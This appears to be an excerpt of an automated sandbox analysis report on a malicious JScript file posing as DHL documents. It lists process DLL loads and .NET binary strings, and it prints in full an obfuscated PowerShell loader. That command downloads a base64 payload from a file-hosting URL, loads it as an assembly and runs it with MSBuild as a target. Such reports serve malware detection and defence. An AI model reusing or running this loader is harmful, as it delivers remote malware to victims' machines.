Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.PdbWriter+ source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.resourcesuserresourcedatadnlib.dotnetassemblyrefuserdnlib.dotnetresolveexceptiondnlib.dotnet.emitmethodbodyreaderdnlib.dotnet.resourcesresourcewritermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnet.pdbsymbolreadercreatordnlib.peimagesectionheaderdnlib.dotnet.emitlocallistdnlib.dotnet.writermdtablewriterdnlib.dotnetimdtokenproviderdnlib.dotnet.emitmethodbodyreaderbasednlib.dotnetmethodequalitycomparerdnlib.dotnetmdtokendnlib.dotnettypenameparserdnlib.dotnet.writeriheap source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: >.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator<System.Int32>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.UInt32,System.Byte[]>>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,System.String>>.get_CurrentSystem.Collections.Generic.IEnumerator<T>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CustomAttribute>.get_CurrentSystem.Collections.Generic.IEnumerator<TValue>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.FieldDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MethodDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.EventDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.PropertyDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.ModuleRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MemberRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyRef>.get_CurrentSystem.Collections.Generic.IEnumerator<System.String>.get_CurrentSystem.Collections.Generic.IEnumerator<TIn>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.TaskFolder>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.Trigger>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CANamedArgument>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MD.IRawRow>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyResolver. source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.mdstreamheaderdnlib.dotnet.mdtableinfodnlib.dotnetmarshalblobreaderdnlib.dotnetitypeormethoddefmicrosoft.win32.taskschedulermonthlydowtriggerdnlib.dotnet.pdbpdbwritermicrosoft.win32.taskschedulertasksettingsmicrosoft.win32.taskschedulertaskserviceversiondnlib.dotneticodedtokendnlib.dotnet.mdrawencmaprowdnlib.dotnet.writeriwritererrordnlib.dotnetimanagedentrypointdnlib.dotnetassemblylinkedresourcednlib.dotnetcablobparserexceptiondnlib.dotnetassemblyattributesdnlib.dotnet.writeritokencreatordnlib.dotnetassemblyresolveexceptiondnlib.dotnetclassorvaluetypesigdnlib.dotnetmethodsigdnlib.dotnetcmodoptsigdnlib.dotnetimplmapmicrosoft.win32.taskschedulertasktriggertypemicrosoft.win32.taskschedulertaskrightsmicrosoft.win32.taskschedulermonthsoftheyeardnlib.pedllcharacteristicsdnlib.dotnetparamattributesdnlib.dotnet.mdicolumnreadersystem.security.accesscontrolaccesscontrolextensionmicrosoft.win32.taskschedulertaskprincipalprivilegesmicrosoft.win32.taskscheduleridletriggermicrosoft.win32.taskscheduler.fluentweeklytriggerbuilderdnlib.dotnetimplmapuserdnlib.dotnet.writerdummymodulewriterlistenermicrosoft.win32.taskschedulerquicktriggertype source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1microsoft.win32.taskscheduleritaskhandlerstatusdnlib.dotnet.writerchunklistbase`1dnlib.iohomednlib.dotneticustomattributednlib.dotnet.pdb.dssisymunmanagedwriter2dnlib.dotnet.writermaxstackcalculatordnlib.dotnet.pdbpdbdocumentusersmicrosoft.win32.taskscheduler.fluentmonthlytriggerbuilderdnlib.dotnet.writerhotpooldnlib.dotneteventattributesdnlib.dotnet.pdb.dsssymbolreadercreatordnlib.dotnet.writermodulewriterbasemicrosoft.win32.taskschedulerpowershellactionplatformoptiondnlib.dotnet.writerioffsetheap`1dnlib.dotnetclasslayoutuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetinterfacemarshaltypemicrosoft.win32.taskschedulertaskeventlogdnlib.dotnetmarshaltypemicrosoft.win32.taskschedulertaskfolderdnlib.dotnet.resourcesresourcereaderexceptionmicrosoft.win32.taskscheduleractioncollectiondnlib.ioioextensionsdnlib.dotnet.writerchunklist`1dnlib.dotnet.emitexceptionhandlertypednlib.dotnet.mddotnetstreamdnlib.dotnetfieldattributesdnlib.dotnetparamdefdnlib.dotnetimemberrefresolverdnlib.dotnet.writerpeheadersdnlib.dotnet.writerwin32resourceschunkmicrosoft.win32.taskschedulernotv1supportedexceptioncronfieldtypednlib.dotnet.writermethodbodychunksdnlib.dotnetcaargumentmicrosoft.win32.taskscheduleritriggeruseriddnlib.dotnetloggereventdnlib.utilsmfunc`3dnlib.dotnetsecurityactiondnlib.dotnet.pdb.dsssymbolwritercreatordnlib.ioibinaryreadermicrosoft.win32.taskschedulersessionstatechangetriggerdnlib.dotnetassemblydefdnlib.dotneticustomattributetypednlib.dotnetmemberrefresolveexceptionmicrosoft.win32.taskschedulertaskcompatibilityentrydnlib.threadingenumerableiteratealldelegate`1dnlib.dotnet.mdridlistdnlib.dotnet.resourcesresourcereadermicrosoft.win32.taskschedulertaskdefinitiondnlib.dotnet.emitcodednlib.dotnetcmodreqdsigdnlib.dotnet.pdbpdbimpltypednlib.utilsilazylist`1dnlib.dotnet.emitflowcontroldnlib.dotnetleafsigdnlib.dotnetcanamedargumentdnlib.peimagefileheaderdnlib.dotnetisignaturereaderhelperdnlib.dotnet.mdheaptypednlib.dotnetvaluearraysigdnlib.dotnettypedefuserdnlib.dotnet.writerimdtablednlib.dotnet.resourcesresourcedatacreatordnlib.dotnet.mdrawmodulerefrowdnlib.dotnet.writercor20headeroptionsdnlib.dotnettypesigdnlib.dotnetalltypeshelper<>c__5`1microsoft.win32.taskschedulermonthlytriggerdnlib.dotnetmethoddefuserdnlib.dotnet.mdmetadataheaderdnlib.dotnet.emitopcodednlib.dotnetihassemanticdnlib.dotnetinterfaceimpldnlib.dotnetitokenoperanddnlib.dotnetidnlibdefmicrosoft.win32.taskschedulercomhandleractiondnlib.dotnetfullnamecreatordnlib.dotnetimethoddecrypterdnlib.dotnet.mdrawrowequalitycomparerdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduleritriggerdelaydnlib.dotnetpropertysigdnlib.dotnetassemblyresolverdnlib.dotnetstrongnamesignerdnlib.dotnetfixedarraymarshaltypednlib.dotnet.pdbpdbscope source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnetstandalonesiguserdnlib.dotnetihasdeclsecuritydnlib.dotnetutf8stringequalitycomparerdnlib.dotnet.pdbpdbstatednlib.dotnet.writermetadataheaderoptionsdnlib.dotnet.mdrawconstantrowdnlib.dotnetdeclsecurityusermicrosoft.win32.taskschedulertaskprincipaldnlib.dotnet.writermodulewriterexceptiondnlib.dotnet.pdbisymbolwriter2 source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pepeimagemicrosoft.win32.taskschedulerregistrationtriggermicrosoft.win32.taskschedulerdaysoftheweekmicrosoft.win32.taskschedulertaskrunflagsdnlib.dotnet.mdrawparamptrrowdnlib.dotnet.writerichunkdnlib.dotnet.resourcescreateresourcedatadelegatednlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawenclogrowmicrosoft.win32.taskschedulertaskeventenumeratordnlib.dotnet.writericustomattributewriterhelperdnlib.peiimageoptionalheaderdnlib.dotnet.writermodulewriterdnlib.threadingthreadsafelistcreatordnlib.dotnet.mdrawfieldrvarowdnlib.dotnet.writerhotheap20dnlib.dotnet.mdcolumnsizednlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnet.writerdeclsecuritywriterconnectiontokendnlib.dotnet.writeruniquechunklist`1microsoft.win32.taskschedulertaskrunleveldnlib.dotnettypespecdnlib.dotnet.mdrawimplmaprowdnlib.dotnet.writermodulewriteroptionsdnlib.threadingextensionsdnlib.peipeimagednlib.dotnetinvalidkeyexceptiondnlib.dotnetfileattributesmicrosoft.win32.taskschedulerlogontriggerdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnet.writerhotheap40dnlib.dotnetmodulerefdnlib.dotnetsigcomparerdnlib.dotnet.writermetadatadnlib.dotnet.pdbsequencepointdnlib.dotnet.pdb.managedpdbexceptiondnlib.peimagentheadersdnlib.pemachinednlib.peimageoptionalheader64dnlib.dotnettypedefdnlib.dotnetvaluetypesigdnlib.dotnetbytearrayequalitycomparerdnlib.dotnetpropertydefuserdnlib.dotnet.writertablesheapdnlib.dotnet.mdrawmemberrefrowdnlib.dotnet.writerhottablednlib.dotnetconstantdnlib.dotnetassemblydefuserdnlib.dotnetmodulerefuserdnlib.dotnetexportedtypednlib.iofileoffsetdnlib.dotnet.mdrawfieldptrrowdnlib.dotnet.writerimportaddresstablednlib.dotnet.mdrawmethodptrrowdnlib.dotnet.mdrawinterfaceimplrowdnlib.dotnet.emitmethodutilsdnlib.dotnetcallingconventionsigdnlib.peimageoptionalheader32dnlib.dotnet.emitiinstructionoperandresolverdnlib.dotnetcustomattributecollectionmicrosoft.win32.taskschedulertsnotsupportedexceptiondnlib.dotnetitypednlib.dotnettypedeforrefsigdnlib.w32resourcesresourcedirectoryuserdnlib.dotnet.emitinstructionprintermicrosoft.win32.taskschedulerwildcardmicrosoft.win32.taskschedulercustomtriggerdnlib.w32resourcesresourcedirectorypemicrosoft.win32.taskscheduler.fluentintervaltriggerbuildermicrosoft.win32.taskschedulerresourcereferencevaluednlib.dotnet.pdb.managedsymbolreadercreatordnlib.dotnet.mdcodedtokendnlib.dotnetassemblynameinfodnlib.dotnet.emitstackbehaviourmicrosoft.win32.taskschedulertaskstatednlib.dotnet.mdrawmodulerowdnlib.dotnet.pdb.dssisymunmanageddocumentwritermicrosoft.win32.taskschedulertaskcompatibilitydnlib.dotnet.emitinvalidmethodexceptiondnlib.dotnetnullresolverdnlib.dotnetdeclsecuritydnlib.dotnet.emitdynamicmethodbodyreaderdnlib.dotnet.mdrawcustomattributerowdnlib.dotnet.resourcesresourceelementdnlib.dotnet.writerrelocdirectorydnlib.w32resourceswin32resourcespednlib.dotnetsigcompareroptionsdnlib.dotnet.mdrawmethodimplrowdnlib.dotnetsafearraymarshaltypednlib.dotnet.mdrawclasslayoutrowdnlib.dotnet.writerpeheadersoptionsmicrosoft.win32.taskschedulernamedvaluecollecti
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1taskprincipalprivilegesenumeratordnlib.dotnetifullnamemicrosoft.win32.taskscheduler.fluentactionbuilderdnlib.dotnet.mdmdheaderruntimeversionmicrosoft.win32.taskschedulerrunningtaskcollectiondnlib.dotnetframeworkredirectelemdnlib.dotnet.emitistringresolverdnlib.dotnet.writernativemodulewriteroptionsdnlib.dotnet.pdb.managedpdbreadermicrosoft.win32.taskschedulertaskfoldercollectiondnlib.dotnetcallingconventionmicrosoft.win32.taskschedulertaskfoldersnapshotdnlib.iotoolsdnlib.dotnetiassemblydnlib.dotnetparamdefuserdnlib.dotnet.mdrawdeclsecurityrowdnlib.dotnet.writernativemodulewriterdnlib.dotnetmethodbasesig<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cmicrosoft.win32.taskschedulerrepetitionpatterndnlib.dotnetiassemblyreffindermicrosoft.win32.taskschedulericalendartriggerdnlib.dotnetmanifestresourcednlib.dotnet.writerimportdirectorymicrosoft.win32.taskschedulertaskservicednlib.dotnet.mdrawpropertymaprowmicrosoft.win32.taskschedulertaskinstancespolicymicrosoft.win32.taskscheduleritaskhandlerdnlib.dotnetparameterdnlib.dotnetitypedeffinderdnlib.dotnetsignaturereadermicrosoft.win32.taskschedulerboottriggerdnlib.dotnet.mdrawgenericparamrowdnlib.dotnet.writerimetadatalistenerdnlib.dotneteventequalitycomparerdnlib.dotnet.mdcolumninfodnlib.dotnetfieldsigdnlib.ioiimagestreamdnlib.threadinglistiteratedelegate`1dnlib.dotnetassemblynamecomparerflagsdnlib.dotnet.mdrawmethodsemanticsrowdnlib.dotnetpublickeydnlib.dotnetgenericsig source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdbsymbolwritercreator source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnetscopetypednlib.dotnet.writerguidheapdnlib.dotnet.writertablesheapoptionsdnlib.dotnetgenericparamcontextdnlib.dotnetresourcetypednlib.dotnet.writerstrongnamesignaturednlib.dotnetifullnamecreatorhelperdnlib.dotnetvtablednlib.dotnetrawmarshaltypednlib.dotnet.pdbimage_debug_directorydnlib.dotnet.emitopcodetypednlib.dotnet.writerheapbasednlib.dotnet.mdmdtablednlib.dotnetfieldequalitycomparerdnlib.dotnetdeclsecurityreaderdnlib.dotnetimethoddnlib.dotnetarraymarshaltypednlib.dotnetityperesolver source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateObject a0:%22ADODB.Stream%22");IHost.CreateObject("ADODB.Stream");IHost.Name();_Stream._00000000();ITextStream.WriteLine(" exit:70512 o:Windows%20Script%20Host f:CreateObject r:");_Stream.Type("2");_Stream.Charset("437");_Stream._00000000();ITextStream.WriteLine(" entry:70531 o: f:Open");_Stream.Open();_Stream._00000000();ITextStream.WriteLine(" exit:70531 o: f:Open r:undefined");ITextStream.WriteLine(" entry:81790 o:%5Bobject%20Object%5D f:decode a0:%22cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgIiRyaGl6b2NyaW51cyA9ICcjeCMua2VzL21vYy5taWxlenVnI2Vtc2lrLy86c3AjI2gnOyRlbWFzY3VsYXRpb24gPSAkcmhpem9jcmludXMgLXJlcGxhY2UgJyMnLCAndCc7JEVybGVub");ITextStream.WriteLine(" exec:56617 f:");ITextStream.WriteLine(" exit:81790 o:%5Bobject%20Object%5D f:decode r:%22powershell.exe%20-Command%20%22%24rhizocrinus%20%3D%20'%23x%23.kes%2Fmoc.milezug%23emsik%2F%2F%3Asp%23%23h'%3B%24emasculation%20%3D%20%24rhizocrinus%20-replace%20'%23'%2C%20't");IWshShell3._00000000();ITextStream.WriteLine(" entry:81797 o: f:Run a0:%22powershell.exe%20-Command%20%22%24rhizocrinus%20%3D%20'%23x%23.kes%2Fmoc.milezug%23emsik%2F%2F%3Asp%23%23h'%3B%24emasculation%20%3D%20%24rhizocrinus%20-replace%20'%23'%2C%20't'%3B%24Erlenmeyer%20%3");IWshShell3.Run("powershell.exe -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"			Jump to behavior

Source: DHl-Global-Documents.js

String : entropy: 5.7, length: 1410, content: "cG93ZXJzaGVsbC5leGUgLUNvbW1hbmQgIiRyaGl6b2NyaW51cy#9ICcjeCMua2VzL21vYy5taWxlenVnI2Vtc2lrLy86c3#jI2g

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD993B0972 push E85E545Dh; ret		1_2_00007FFD993B09F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD993B752B push ebx; iretd		1_2_00007FFD993B756A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
